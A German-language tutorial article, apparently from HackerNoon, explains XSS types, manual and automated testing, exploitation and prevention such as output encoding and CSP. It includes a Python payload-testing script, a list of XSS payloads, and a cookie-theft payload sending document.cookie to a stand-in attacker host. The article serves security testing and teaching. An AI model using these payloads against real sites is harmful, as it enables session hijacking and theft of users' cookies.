paint-brush
Cross-Site Scripting (XSS)-Schwachstellen: Teststrategien und Beispielevon@shad0wpuppet
27,073 Lesungen
27,073 Lesungen

Cross-Site Scripting (XSS)-Schwachstellen: Teststrategien und Beispiele

von Konstantin Sakhchinskiy9m2024/01/31
Read on Terminal Reader
Read this story w/o Javascript

Zu lang; Lesen

XSS stellt eine dauerhafte Bedrohung für Web-Apps dar und birgt das Risiko von Datenschutzverletzungen und dem Vertrauen der Benutzer. Das Verständnis der XSS-Typen und Testmethoden ist für eine wirksame Schadensbegrenzung von entscheidender Bedeutung. Präventionstechniken wie Eingabevalidierung, Ausgabekodierung und CSP-Implementierung verbessern die App-Sicherheit. Durch die Priorisierung von Sicherheitspraktiken und Zusammenarbeit können Teams ihre Apps vor XSS schützen und eine angemessene Web-App-Sicherheit gewährleisten.
featured image - Cross-Site Scripting (XSS)-Schwachstellen: Teststrategien und Beispiele
Konstantin Sakhchinskiy HackerNoon profile picture
0-item

Statistiken, die ich gesehen habe, und meiner Erfahrung zufolge stellen XSS-Schwachstellen weiterhin eine weit verbreitete Bedrohung für Webanwendungen dar und bergen das Risiko von Datendiebstahl, Sitzungsentführung und Website-Problemen. Ich habe beschlossen, dass ich mehr Zeit damit verbringen könnte, diesen Schwachstellentyp zu erforschen und Ihnen zumindest dieses überblicksartige Grundwissen mitzuteilen, damit sich viele QA- und Entwicklungsexperten vielleicht einige Möglichkeiten vorstellen, ihre Apps auf dieses Problem zu testen. In diesem Artikel werden verschiedene Arten von XSS, Testmethoden und Automatisierungsansätze untersucht und einige Beispiele und Payloads für effektive Penetrationstests bereitgestellt.


Cross-Site-Scripting (XSS) ermöglicht es Angreifern, bösartige Skripte in Webseiten einzuschleusen, die von anderen Benutzern angezeigt werden, und dabei Schwachstellen bei der clientseitigen Codeausführung auszunutzen. Das Verständnis der verschiedenen Arten von XSS-Schwachstellen und die Verwendung geeigneter Teststrategien sind entscheidend für die Entwicklung sicherer Web-Apps, die vor solchen Angriffen geschützt sind.


XSS-Exploits treten auf, wenn nicht vertrauenswürdige Benutzereingaben unzureichend bereinigt und in einer Webanwendung ausgeführt werden, sodass Angreifer bösartige Skripte im Kontext der Browser anderer Benutzer einschleusen und ausführen können.

Arten von XSS-Schwachstellen

Reflektiertes XSS

Tritt auf, wenn vom Benutzer bereitgestellte Daten ohne ordnungsgemäße Validierung in der Antwort zurückgegeben werden.

Beispiel: <script>alert('XSS_DEMO')</script> wird über einen URL-Parameter eingefügt.


Diese Exploits treten auf, wenn eine Webanwendung nicht validierte Benutzereingaben ohne ordnungsgemäße Bereinigung an den Browser des Benutzers weiterleitet. Bei diesem Angriff erstellt der Angreifer eine schädliche URL mit Skriptcode, der beim Anklicken durch das Opfer im Kontext der anfälligen Webseite ausgeführt wird. Das bösartige Skript wird nicht auf dem Server gespeichert, sondern direkt aus der Eingabe des Benutzers abgeleitet. Reflektierte XSS-Schwachstellen werden häufig für Phishing-Angriffe oder zur Manipulation des Surferlebnisses des Benutzers ausgenutzt. Die Auswirkungen können schwerwiegend sein und vom Cookie-Diebstahl bis zum Session-Hijacking reichen.

Gespeichertes XSS

Schädliche Skripte werden dauerhaft auf dem Server gespeichert und ausgeführt, wenn andere Benutzer darauf zugreifen.

Beispiel: Schädliches Skript, das in einem Kommentar/Beitrag in einem Forumsbeitrag oder auf einer Profilseite in einem sozialen Netzwerk gespeichert ist.


Auch als persistentes XSS bekannt, entsteht, wenn ein Angreifer bösartigen Skriptcode in eine Webanwendung einschleust, der dann auf der Serverseite gespeichert wird. Dieses injizierte Skript wird später abgerufen und ausgeführt, wenn andere Benutzer auf die anfällige Seite zugreifen. Gespeicherte XSS-Angriffe sind besonders gefährlich, da das eingeschleuste Skript über einen längeren Zeitraum bestehen bleibt, möglicherweise mehrere Benutzer betrifft und zu weit verbreiteten Ausnutzungen führt. Angreifer zielen häufig auf benutzergenerierte Inhalte wie Kommentare, Forenbeiträge, Namen von Entitäten ab, die auf Webseiten oder Profilfeldern angezeigt werden, um ihre bösartigen Nutzlasten auszuführen. Die Folgen gespeicherter XSS können Datendiebstahl, Kontoübernahme und Website-Verunstaltung sein, was erhebliche Risiken sowohl für Benutzer als auch für die betroffene Organisation darstellt.

DOM-basiertes XSS

Die Skriptausführung basiert auf der Manipulation des DOM auf der Clientseite.

Beispiel: JS-Code ruft benutzergesteuerte Daten aus dem URL-Hash ab und führt sie aus.


Es tritt auf, wenn eine Webanwendung das DOM basierend auf nicht vertrauenswürdigen Benutzereingaben auf unsichere Weise dynamisch manipuliert. Im Gegensatz zu herkömmlichen XSS-Angriffen, die eine serverseitige Verarbeitung beinhalten, manifestiert sich DOM-basiertes XSS vollständig auf der Clientseite. Angreifer nutzen DOM-basiertes XSS aus, indem sie clientseitige Skripte manipulieren, um beliebigen Code im Browser des Opfers auszuführen. Diese Art von XSS ist oft schwieriger zu erkennen und zu beheben, da die Schwachstelle im clientseitigen Code liegt und bei serverseitigen Tests möglicherweise nicht offensichtlich ist. DOM-basierte XSS-Angriffe können verschiedene Folgen haben, darunter Session-Hijacking, Datenexfiltration und unbefugte Aktionen im Namen des Benutzers, was die Bedeutung clientseitiger Sicherheitsmaßnahmen und wachsamer Web-App-Entwicklungspraktiken unterstreicht.

Selbst-XSS

Es handelt sich um einen Social-Engineering-Angriff, bei dem ein Angreifer einen Benutzer dazu verleitet, Schadcode in seinem Browser auszuführen. Im Gegensatz zu herkömmlichen XSS-Angriffen, die auf mehrere Benutzer abzielen, nutzt Self-XSS das Vertrauen des Benutzers aus, um Code innerhalb seiner Sitzung auszuführen. Typischerweise locken Angreifer ihre Opfer dazu, scheinbar harmlos aussehenden JS-Code in die Entwicklerkonsole ihres Browsers oder in einige Felder einer Website einzufügen, und zwar unter dem Deckmantel einer harmlosen Aktion, etwa dem Freischalten einer Funktion oder dem Verdienen von Belohnungen. Nach der Ausführung kann der eingeschleuste Code möglicherweise das Konto des Opfers gefährden, vertrauliche Informationen stehlen oder in seinem Namen unbefugte Aktionen ausführen. Obwohl Self-XSS auf die Sitzung des Opfers beschränkt ist, bleibt es eine Bedrohung, was die Bedeutung der Aufklärung und Sensibilisierung der Benutzer betont, um solche betrügerischen Taktiken zu erkennen und zu vermeiden.


Testen

Automatisierung

  • Verwenden Sie Sicherheitstesttools wie OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix usw. für automatisierte Scans nach XSS.
  • Konfigurieren Sie Tools, um die Anwendung zu crawlen, Eingabevektoren zu identifizieren und Nutzlasten einzuschleusen, um XSS-Schwachstellen zu erkennen.
  • Analysieren Sie Scan-Ergebnisse auf identifizierte Schwachstellen, reproduzieren Sie diese manuell, erstellen Sie PoC, verstehen Sie die potenziellen Auswirkungen und priorisieren Sie die Behebung von Problemen.

Sie können einige Skripte schreiben; Ich bevorzuge Python, zum Beispiel:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

Manuelles Testen

  • Identifizieren Sie Eingabevektoren, die für XSS-Injection anfällig sind (z. B. Eingabefelder, URL-Parameter). Sie können Crawler und Sniffer verwenden, um Vektoren effizienter zu identifizieren.
  • Erstellen Sie Payloads, um XSS-Schwachstellen auszunutzen (z. B. Skript-Tags, Event-Handler).

Analysieren Sie die Antworten, um festzustellen, ob Nutzlasten reflektiert oder ausgeführt werden. Erstellen Sie einen PoC, verstehen Sie die potenziellen Auswirkungen und priorisieren Sie die Fehlerbehebung.


Schritte:

  1. Geben Sie ein Skript-Tag, gefolgt von etwas JS-Code, in die Eingabefelder Ihrer App ein.

    Zum Beispiel grundlegende XSS-Nutzlasten:

     <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
  2. Senden Sie die Eingabe und prüfen Sie, ob das Skript ausgeführt wird.

  3. Wenn dies der Fall ist, ist die Anwendung anfällig für XSS-Angriffe.

  4. Wenn das Skript nicht ausgeführt wird, versuchen Sie, die Eingabe zu ändern, indem Sie andere HTML-Tags wie <img> oder <iframe> hinzufügen , und prüfen Sie, ob sie beispielsweise auf der Seite angezeigt werden (dieses funktioniert bei mir fast immer):

    <b>t</b>#`"/*—est

  5. Sie können ein Skript hinzufügen, um Parameter Ihrer Web-App-URL oder einen Benutzernamen, hochgeladene Dateinamen oder einen beliebigen Text abzufragen, der auf der App-Seite angezeigt wird und den Sie ändern können.

  6. Beachten Sie die Front-End-Validierung von Eingaben. Versuchen Sie immer, den Wert über eine direkte Anfrage zu übermitteln (mit Postman, Burp oder ähnlichen Tools).

  7. Überprüfen Sie die Browserkonsole in den Entwicklungstools, da Sie manchmal möglicherweise keine sichtbaren Änderungen auf der Seite sehen, aber einige Symbole, z. B. `"/*— können das JS/HTML der Seite beschädigen, und in der Konsole wird eine Warnung angezeigt, die dies könnte ein Hinweis für Sie sein, wie Sie Ihre Nutzlast ändern können, um einen XSS-PoC zu erhalten


Verwenden Sie Fuzzing und eine Liste von Nutzlasten – automatisieren Sie diesen Ansatz nach Möglichkeit oder verwenden Sie spezielle Tools dafür.

Persönlich verwende ich gerne Payloads und Informationen von hier , meiner Meinung nach ist es eine sehr nützliche Ressource.

Black-Box-Tests

  • Identifizieren von Eingabevektoren, die für XSS-Injection anfällig sind.
  • Erstellen und Injizieren von XSS-Nutzlasten, um die Auswirkungen zu bewerten und Schwachstellen zu identifizieren.

Gray-Box-Tests

  • Analyse des Quellcodes und Bereinigungsverfahren für potenzielles XSS.
  • Nutzung von Teilkenntnissen der Anwendung für gezielte Tests.

XSS ausnutzen

XSS-PoC

  • Demonstriert die Bestätigung einer XSS-Schwachstelle durch das Einfügen von Nutzlasten, die beliebiges JS ausführen.
  • Verwendung alternativer Payloads wie print() Funktion für Chrome-Browser nach Version 92.

Erweiterte XSS-Ausnutzung

  • Um Cookies zu stehlen, Session-Hijacking durchzuführen oder beliebigen Code auszuführen.
  • Um sich als Benutzer auszugeben, Anmeldeinformationen zu erfassen oder Webseiten zu verunstalten.

Umgehen von XSS-Filtern

  • Umgehung gängiger XSS-Filter durch verschiedene Techniken wie das Einfügen von Tag-Attributwerten, Verschleierung und HTTP Parameter Pollution (HPP).
  • Beispielszenarien zeigen die Umgehung von Filtermechanismen zur erfolgreichen Ausführung von XSS-Nutzlasten.

Präventionstechniken

Eingabevalidierung und Ausgabekodierung

  • Implementieren Sie Eingabevalidierungsmechanismen (FE und BE), um sicherzustellen, dass die vom Benutzer bereitgestellten Daten den erwarteten Formaten entsprechen und keinen schädlichen Code enthalten.
  • Bereinigen und validieren Sie alle Benutzereingaben auf der Serverseite, bevor Sie sie verarbeiten oder speichern.
  • Kodieren Sie Ausgabedaten entsprechend, um zu verhindern, dass sie vom Browser als aktiver Inhalt interpretiert werden.
  • Nutzen Sie Kodierungstechniken wie HTML-Entitätskodierung, URL-Kodierung und JS-Escape, basierend auf dem Kontext der Ausgabedaten.

Inhaltssicherheitsrichtlinie (CSP)

  • Implementieren Sie CSP-Header (Content Security Policy), um Sicherheitsrichtlinien für die Ausführung von Skripten, Stylesheets und anderen Ressourcen innerhalb der Webanwendung zu definieren und durchzusetzen. Mit CSP können Administratoren die Quellen einschränken, aus denen Skripte geladen werden können, wodurch das Risiko von XSS-Angriffen verringert wird, indem die Ausführung nicht autorisierter Skripte verhindert wird.
  • Konfigurieren Sie CSP-Anweisungen, um vertrauenswürdige Domänen, Inline-Skript- und -Stilverwendung sowie Skript-Nonces anzugeben und so die Angriffsfläche für XSS effektiv zu reduzieren.

Kontextspezifische Ausgabekodierung

Kodieren Sie Daten basierend auf dem Kontext, in dem die Ausgabedaten gerendert werden. Wenden Sie verschiedene Kodierungsmethoden für HTML, JS, CSS und andere Kontexte an, um einen umfassenden Schutz vor XSS zu gewährleisten.

Verwenden Sie beispielsweise die HTML-Entitätskodierung für HTML-Inhalte, JavaScript-Escape für Inline-Skriptkontexte und CSS-Escape für Stilattribute, um die Skriptinjektion zu verhindern und die Datenintegrität über verschiedene Ausgabekontexte hinweg aufrechtzuerhalten.

Eingabe-Whitelisting und Blacklisting

Implementieren Sie Whitelists und Blacklists für Eingaben, um Benutzereingaben basierend auf vordefinierten Zulassungs- und Sperrlisten für zulässige und verbotene Zeichen, Muster oder Inhaltstypen zu filtern und zu validieren.

  • Beim Whitelisting geht es darum, die erwarteten Eingabeformate explizit zu definieren und alle Eingaben abzulehnen, die diesen Spezifikationen nicht entsprechen.
  • Blacklisting identifiziert und blockiert bekannte bösartige Eingaben oder Muster, obwohl es aufgrund der Möglichkeit der Umgehung durch Verschlüsselungs- oder Verschleierungstechniken möglicherweise weniger effektiv ist .

Sicherheitsheader und Sanitization-Bibliotheken

  • Verwenden Sie Sicherheitsheader wie X-XSS-Protection, X-Content-Type-Options und X-Frame-Options, um die Sicherheit von Web-Apps zu verbessern und verschiedene Angriffsvektoren, einschließlich XSS, zu verhindern.
  • Integrieren Sie Bereinigungsbibliotheken und Frameworks von Drittanbietern in den Entwicklungsstapel, um die Eingabevalidierung, Ausgabekodierung und andere sicherheitskritische Aufgaben zu automatisieren. Aktualisieren und pflegen Sie diese Bibliotheken regelmäßig, um aufkommende Bedrohungen und Schwachstellen wirksam zu bekämpfen.

Sichere Entwicklungspraktiken und Sicherheitsbewusstsein

  • Fördern Sie sichere Entwicklungspraktiken innerhalb der Entwicklungs- und Qualitätssicherungsteams und betonen Sie, wie wichtig es ist, sicheren Code zu schreiben, gründliche Codeüberprüfungen durchzuführen und Sicherheitstests während des gesamten Softwareentwicklungslebenszyklus durchzuführen.
  • Fördern Sie eine Kultur des Sicherheitsbewusstseins unter Entwicklern, QA-Ingenieuren und anderen Interessengruppen und fördern Sie kontinuierliches Lernen und Wissensaustausch in Bezug auf XSS und andere Schwachstellen, Ausnutzungstechniken und Präventivmaßnahmen.
  • Investieren Sie in fortlaufende Schulungsprogramme, Kurse, Seminare, Konferenzen und Ressourcen, um Teammitglieder mit den Fähigkeiten und dem Fachwissen auszustatten, die sie benötigen, um XSS effektiv zu erkennen, damit umzugehen und zu verhindern.

XSS stellt eine dauerhafte Bedrohung für Webanwendungen dar und birgt das Risiko von Datenschutzverletzungen und dem Vertrauen der Benutzer. Das Verständnis der XSS-Typen und Testmethoden ist für eine wirksame Schadensbegrenzung von entscheidender Bedeutung. Präventionstechniken wie Eingabevalidierung, Ausgabekodierung und CSP-Implementierung verbessern die App-Sicherheit. Durch die Priorisierung von Sicherheitspraktiken und Zusammenarbeit können Teams ihre Apps vor XSS schützen und eine angemessene Web-App-Sicherheit gewährleisten.


Wenn Sie Anfänger sind und sich für Cybersicherheit und Penetrationstests interessieren oder Ihre App einfach verbessern möchten, um sie sicherer zu machen, können Sie meine Artikel zu diesen Themen lesen:


Weitere Informationen zu XSS und Payloads finden Sie in den folgenden Ressourcen:


Eine wichtige Erinnerung:

Führen Sie Penetrationstests immer mit ausdrücklicher Genehmigung und in einer kontrollierten Umgebung durch. Dieser ethische Ansatz stellt sicher, dass Sicherheitsbewertungen mit verantwortungsvollen Testprotokollen übereinstimmen, unbeabsichtigte Gefährdungen von Systemen verhindern und die Integrität sowohl des Testprozesses als auch der übergreifenden Cybersicherheitsstrategie wahren.